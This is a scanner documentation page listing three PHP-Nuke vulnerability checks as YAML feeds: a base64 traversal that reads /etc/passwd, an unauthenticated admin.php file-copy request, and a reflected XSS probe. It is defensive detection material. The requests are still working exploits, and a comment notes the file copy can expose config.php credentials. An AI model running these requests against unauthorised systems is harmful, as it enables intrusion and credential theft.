PHP-Nuke — 3 vulnerability checks

noctis ships 3 vulnerability checks for PHP-Nuke, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PHP-Nuke bb_smilies.php /etc/passwd file read

CVECVE-2001-0320
Severitycritical · CVSS 10.0
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/php-nuke/CVE-2001-0320.yaml

Sends a base64 user value with a ../ traversal to /etc/passwd to bb_smilies.php. When the response contains the /etc/passwd root entry, the same request is sent for an absent file in a random missing directory, and the file read is reported only when that control gets an HTTP reply without passwd content, so a server that answers every path with the same file is not reported.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK HTT…
  2. Checks resp.banner for .*root:.*:0:[01]:.*
  3. Parses / computes the next value with a Rhai script
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /bb_smilies.php?user={{ctrl_user}} HTTP/1.0
  5. Parses / computes the next value with a Rhai script
  6. Checks lfi_file for ^/etc/passwd$ → finding QoD 75: PHP-Nuke bb_smilies.php returned /etc/passwd (root entry) through the user parameter traversal; the same request for an absent file did not

References:

Feed source — tests/vulnerabilities/php-nuke/CVE-2001-0320.yaml
uid: 7f0a1c26-7ab4-440e-b081-c8b34a9d1db5
name: "PHP-Nuke bb_smilies.php /etc/passwd file read (CVE-2001-0320)"
description: |
  Sends a base64 user value with a ../ traversal to /etc/passwd to
  bb_smilies.php. When the response contains the /etc/passwd root entry, the
  same request is sent for an absent file in a random missing directory, and
  the file read is reported only when that control gets an HTTP reply without
  passwd content, so a server that answers every path with the same file is
  not reported.
cves: [CVE-2001-0320]
cvss: 10.0
severity: critical
category: file-read
confidence_base: 0.3
tags: [openvas-migrated, http, php-nuke]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2001-0320"
  - "OpenVAS NASL pre2008/php_nuke_bb_smilies_passwd.nasl (GPL-2.0-only)"

# Ported from OpenVAS/Greenbone NASL pre2008/php_nuke_bb_smilies_passwd.nasl (GPL-2.0-only).
# Absent-file control (#2384): after a passwd hit, the same user value is sent
# with ../../../../../noctis-absent-<random>/etc/passwd and the finding is
# raised only when that control gets an HTTP reply without passwd content
# (fail closed).
steps:
  - id: init-resp
    action: set_var
    var_name: resp
    var_value: {connected: false, banner: ""}

  - id: init-ctrl-resp
    action: set_var
    var_name: ctrl_resp
    var_value: {connected: false, banner: ""}

  - id: init-lfi-file
    action: set_var
    var_name: lfi_file
    var_value: ""

  - id: init-ctrl-clean
    action: set_var
    var_name: ctrl_clean
    var_value: false

  # user = base64("1:1:1:1:1:1:1:1:1:../../../../../etc/passwd\0\n")
  - id: exploit
    action: tcp_connect
    port: "{{port}}"
    send: "GET /bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp

  # No finding here: the reply is the passwd file. Raised below once the
  # absent-file control is clean.
  - id: detect
    action: match
    source: resp.banner
    pattern: ".*root:.*:0:[01]:.*"
    on_match:
      set_vars:
        lfi_file: "/etc/passwd"

  # Same value with a random missing directory, still ending in etc/passwd, so
  # a honeypot that keys a fake file on that name answers it too. The base64
  # is percent-encoded ("+" would be decoded as a space).
  - id: control-user
    action: script
    condition: 'lfi_file != ""'
    code: |
      let b = base64_encode_hex(hexstr("1:1:1:1:1:1:1:1:1:../../../../../noctis-absent-" + oob_token + "/etc/passwd") + "000a");
      str_replace(str_replace(str_replace(b, "+", "%2B"), "/", "%2F"), "=", "%3D")
    store_as: ctrl_user

  - id: control
    action: tcp_connect
    port: "{{port}}"
    condition: 'lfi_file != ""'
    send: "GET /bb_smilies.php?user={{ctrl_user}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: ctrl_resp

  # Fail closed: the control must have answered over HTTP, without passwd content.
  - id: control-verdict
    action: script
    condition: 'lfi_file != ""'
    code: |
      let b = ctrl_resp.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:[01]:", b)
    store_as: ctrl_clean

  - id: report
    action: match
    source: lfi_file
    pattern: "^/etc/passwd$"
    condition: "ctrl_clean == true"
    on_match:
      finding:
        confidence_delta: 0.5
        qod: 75
        evidence: "PHP-Nuke bb_smilies.php returned /etc/passwd (root entry) through the user parameter traversal; the same request for an absent file did not"
      stop: true

PHP-Nuke admin.php unauthenticated file copy

CVECVE-2001-1032
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/php-nuke/CVE-2001-1032.yaml

PHP-Nuke 5.2 and earlier run the file-manager upload branch of admin.php before checking for an administrator, so an anonymous request can copy any file the web server can read to any path below the install directory (for example config.php, with the database password, to a public file), or overwrite files.

This check looks for admin.php under the web root and the usual install paths. Where it answers, it first requests a randomly named .txt file in the images directory and requires that it does not contain PHP-Nuke source. It then asks admin.php, without logging in, to copy admin.php itself (public product source, no secret) to that file name, and requests the file again. The flaw is confirmed when the file now returns the PHP source of admin.php. The copy is then emptied with a second copy request; an empty file with the random name stays in the images directory.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/admin.php
  3. HTTP(S) request GET {{dir}}/images/{{fname}}
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/admin.php?upload=1&file=admin.php&file_name={{fname}}&wdir=/images/&userfile=…
  6. HTTP(S) request GET {{dir}}/images/{{fname}}
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request GET {{dir}}/admin.php?upload=1&wdir=/images/&userfile=/dev/null&userfile_name={{fname}}
  9. Checks hit_dir for ^/ → finding QoD 97: PHP-Nuke admin.php unauthenticated file copy (CVE-2001-1032)

References:

Feed source — tests/vulnerabilities/php-nuke/CVE-2001-1032.yaml
# PHP-Nuke <= 5.2 — admin.php unauthenticated file copy — CVE-2001-1032
#
# admin.php (PHP-Nuke 5.2 and earlier, except 5.0RC1) runs its file-manager upload
# branch before any administrator check (bugtraq 2001-09 "twlc advisory", BID 3361):
#     $basedir = dirname($SCRIPT_FILENAME);
#     if(!$wdir) $wdir="/";
#     if($upload) {
#         copy($userfile,$basedir.$wdir.$userfile_name);
#         ...
#         Header("Location: admin.php?op=FileManager");
#         exit;
#     }
# With register_globals every variable comes from the query string, so an anonymous
# GET copies any file the web server can read to any path below the install directory.
# The fix (5.3, and the advisory's workaround) is `if(($upload) && ($admintest))`.
#
# Detection (QoD 97), per candidate install dir whose admin.php answers:
#   1. GET <dir>/images/noctis<random>.txt must not hold PHP-Nuke source (control);
#   2. GET <dir>/admin.php?upload=1&wdir=/images/&userfile=admin.php
#          &userfile_name=noctis<random>.txt   (copy admin.php to images/)
#   3. GET <dir>/images/noctis<random>.txt now returns the PHP source of admin.php
#      (its "PHP-NUKE: Web Portal System" header and the <?php tag);
#   4. cleanup: the same copy with userfile=/dev/null empties the file again.
#
# Better than the source NASL:
#   - the reference check copies config.php — the database password — to a public
#     .txt file and leaves it there; this feed copies admin.php, the product's public
#     source, and empties the copy afterwards;
#   - the reference check fetches /images/ at the web root even for an install in a
#     sub-directory (the copy lands in <dir>/images/); this feed reads it from <dir>;
#   - a random file name checked absent beforehand keeps a server that returns PHP
#     source for every path (or an earlier run's copy) from being reported.
#
# Source: OpenVAS/Greenbone NVT pre2008/php_nuke_admin_cp.nasl
# (OID 1.3.6.1.4.1.25623.1.0.10772, GPL-2.0-or-later).
uid: 0eab1abb-d383-417d-8cc2-ea9018cb3a7c
name: "PHP-Nuke admin.php unauthenticated file copy (CVE-2001-1032)"
description: |
  PHP-Nuke 5.2 and earlier run the file-manager upload branch of admin.php before
  checking for an administrator, so an anonymous request can copy any file the web
  server can read to any path below the install directory (for example config.php,
  with the database password, to a public file), or overwrite files.

  This check looks for admin.php under the web root and the usual install paths.
  Where it answers, it first requests a randomly named .txt file in the images
  directory and requires that it does not contain PHP-Nuke source. It then asks
  admin.php, without logging in, to copy admin.php itself (public product source, no
  secret) to that file name, and requests the file again. The flaw is confirmed when
  the file now returns the PHP source of admin.php. The copy is then emptied with a
  second copy request; an empty file with the random name stays in the images
  directory.
cves: [CVE-2001-1032]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [php-nuke, file-copy, arbitrary-file-write, auth-bypass, intrusive, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2001-1032"
  - "https://seclists.org/bugtraq/2001/Sep/233"
  - "https://seclists.org/bugtraq/2001/Sep/237"
  - "http://www.securityfocus.com/bid/3361"
  # OpenVAS/Greenbone NASL pre2008/php_nuke_admin_cp.nasl (GPL-2.0-or-later)

steps:
  - id: gen-name
    action: script
    code: |
      "noctis" + rand_hex(8) + ".txt"
    store_as: fname

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-admin
    action: set_var
    var_name: admin
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/nuke", "/phpnuke", "/php-nuke", "/html", "/portal"]

  - id: init-before
    action: set_var
    var_name: before
    var_value: {status: 0, body: ""}

  - id: init-after
    action: set_var
    var_name: after
    var_value: {status: 0, body: ""}

  - id: init-ready
    action: set_var
    var_name: ready
    var_value: false

  - id: fetch-admin
    action: http_request
    method: GET
    path: "{{dir}}/admin.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: admin

  # Control: the random file must not already hold PHP-Nuke source.
  - id: fetch-before
    action: http_request
    method: GET
    path: "{{dir}}/images/{{fname}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_dir == "" && admin.status >= 200 && admin.status < 400'
    store_as: before

  - id: check-before
    action: script
    condition: 'hit_dir == "" && admin.status >= 200 && admin.status < 400'
    code: |
      let b = if type_of(before.body) == "string" { before.body } else { "" };
      before.status != 0 && !b.contains("PHP-NUKE: Web Portal System")
    store_as: ready

  - id: copy
    action: http_request
    method: GET
    path: "{{dir}}/admin.php?upload=1&file=admin.php&file_name={{fname}}&wdir=/images/&userfile=admin.php&userfile_name={{fname}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_dir == "" && ready == true'

  - id: fetch-after
    action: http_request
    method: GET
    path: "{{dir}}/images/{{fname}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_dir == "" && ready == true'
    store_as: after

  - id: check-after
    action: script
    condition: 'hit_dir == "" && ready == true'
    code: |
      let b = if type_of(after.body) == "string" { after.body } else { "" };
      if after.status == 200 && b.contains("PHP-NUKE: Web Portal System")
         && (b.contains("<?php") || b.contains("<?PHP")) {
        if dir == "" { "/" } else { dir }
      } else { "" }
    store_as: hit_dir

  # Cleanup: empty the copy (best effort; the file name stays). Runs whenever the
  # copy request was sent, also when the read-back could not confirm it.
  - id: cleanup
    action: http_request
    method: GET
    path: "{{dir}}/admin.php?upload=1&wdir=/images/&userfile=/dev/null&userfile_name={{fname}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'ready == true'

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "PHP-Nuke admin.php unauthenticated file copy (CVE-2001-1032)"
        description: "An anonymous admin.php request with upload=1 copied admin.php into the images directory under a random name, and that file then returned the PHP source of admin.php: any visitor can copy any file the web server can read (such as config.php with the database password) to a public path, or overwrite files."
        remediation: "Upgrade PHP-Nuke to 5.3 or later (or a maintained CMS). As a workaround, change `if($upload)` to `if(($upload) && ($admintest))` in admin.php and deny the web server user write access to the web root."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_dir}}: admin.php?upload=1&wdir=/images/&userfile=admin.php&userfile_name={{fname}} (no login) — images/{{fname}} was absent before and then returned the admin.php source (\"PHP-NUKE: Web Portal System\" header, <?php tag); the copy was emptied afterwards"
      stop: true

PHP-Nuke <= 8.0 Feedback module reflected cross-site scripting

CVECVE-2011-1481
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 75
Feedtests/vulnerabilities/php-nuke/CVE-2011-1481.yaml

PHP-Nuke 8.0 and earlier print the sender_name and sender_email form fields of the Feedback module back into the page without HTML-encoding them, so an attacker can run script in the browser of anyone who submits a crafted form (cross-site scripting).

Under the web root, /nuke, /phpnuke and /html, this check loads modules.php?name=Feedback, confirms the Feedback form, then posts it with a harmless script tag carrying a random marker in sender_name and an empty message. The finding is reported when the tag comes back verbatim, unencoded, on a page that still shows the form. Nothing is mailed or stored on the target.

How noctis detects it

  1. HTTP(S) request GET {{adir}}/modules.php?name=Feedback
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST {{adir}}/modules.php?name=Feedback with a crafted body
  4. Parses / computes the next value with a Rhai script
  5. Checks res.hit for ^true$ → finding QoD 75: PHP-Nuke Feedback module reflected cross-site scripting (CVE-2011-1481)

References:

Feed source — tests/vulnerabilities/php-nuke/CVE-2011-1481.yaml
# PHP-Nuke <= 8.0 — Feedback module reflected cross-site scripting (CVE-2011-1481)
#
# modules.php?name=Feedback prints the sender_name / sender_email values of a
# submitted form back into the page without HTML-encoding them. The same
# advisory family names chng_uid in admin.php and a privilege flaw in
# mainfile.php (CVE-2011-1480, CVE-2011-1482); only the Feedback XSS is probed.
#
# Detection (per candidate install dir: web root, /nuke, /phpnuke, /html):
#   0. GET modules.php?name=Feedback must show the Feedback form
#      (sender_name and sender_email fields).
#   1. QoD 75 — POST with sender_name="><script>MARK</script> (MARK random
#      per run) and an empty message: the tag comes back verbatim, on a page
#      that still shows the Feedback form.
#   2. No finding when the tag is encoded or dropped.
# Read-only: the message is empty, so nothing is mailed or stored.
#
# Ported from OpenVAS/Greenbone NVT 2011/gb_php_nuke_mult_vuln.nasl
# (GPL-2.0-only). Differences: a random inert marker instead of an
# alert() payload; the whole tag must come back verbatim.
# CVSS: NVD carries only a CVSS v2 score (4.3) for this CVE family.
uid: b77016d6-e937-4e4a-9d8b-3ce968a91c1e
name: "PHP-Nuke <= 8.0 Feedback module reflected cross-site scripting (CVE-2011-1481)"
description: |
  PHP-Nuke 8.0 and earlier print the sender_name and sender_email form fields
  of the Feedback module back into the page without HTML-encoding them, so an
  attacker can run script in the browser of anyone who submits a crafted form
  (cross-site scripting).

  Under the web root, /nuke, /phpnuke and /html, this check loads
  modules.php?name=Feedback, confirms the Feedback form, then posts it with a
  harmless script tag carrying a random marker in sender_name and an empty
  message. The finding is reported when the tag comes back verbatim, unencoded,
  on a page that still shows the form. Nothing is mailed or stored on the
  target.
cves: [CVE-2011-1481]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [php-nuke, php, xss, reflected]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-1481"
  - "https://openwall.com/lists/oss-security/2011/03/30/7"

steps:
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/nuke", "/phpnuke", "/html"]
      var: adir

  - id: init-post
    action: set_var
    var_name: post
    var_value: {status: 0, body: ""}

  - id: feedback-page
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{adir}}/modules.php?name=Feedback"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: page

  - id: gate
    action: script
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      #{ ok: page.status == 200 && b.contains("sender_name") && b.contains("sender_email"), mk: "NCT" + rand_hex(6) }
    store_as: g

  - id: reflect
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{adir}}/modules.php?name=Feedback"
    condition: "g.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "sender_name=%22%3E%3Cscript%3E{{g.mk}}%3C%2Fscript%3E&sender_email=&message=&opi=ds&submit=Send"
    store_as: post

  - id: check
    action: script
    code: |
      let b = if type_of(post.body) == "string" { post.body } else { "" };
      let tag = "\"><script>" + g.mk + "</script>";
      #{ hit: g.ok && post.status == 200 && b.contains(tag) && b.contains("sender_email") }
    store_as: res

  - id: report
    action: match
    source: res.hit
    pattern: "^true$"
    condition: "res.hit"
    on_match:
      finding:
        title: "PHP-Nuke Feedback module reflected cross-site scripting (CVE-2011-1481)"
        description: "The sender_name field of modules.php?name=Feedback was returned inside the page with its <script> tag unencoded, so an attacker can run script in the browser of a user who submits a crafted form and act with that user's session."
        remediation: "PHP-Nuke 8.0 and earlier have no vendor fix: HTML-encode sender_name and sender_email in the Feedback module, or move to a maintained CMS."
        confidence_delta: 0.45
        qod: 75
        evidence: "{{adir}}/modules.php?name=Feedback echoed sender_name=\"><script>{{g.mk}}</script> unencoded"
      stop: true

View these feeds on GitHub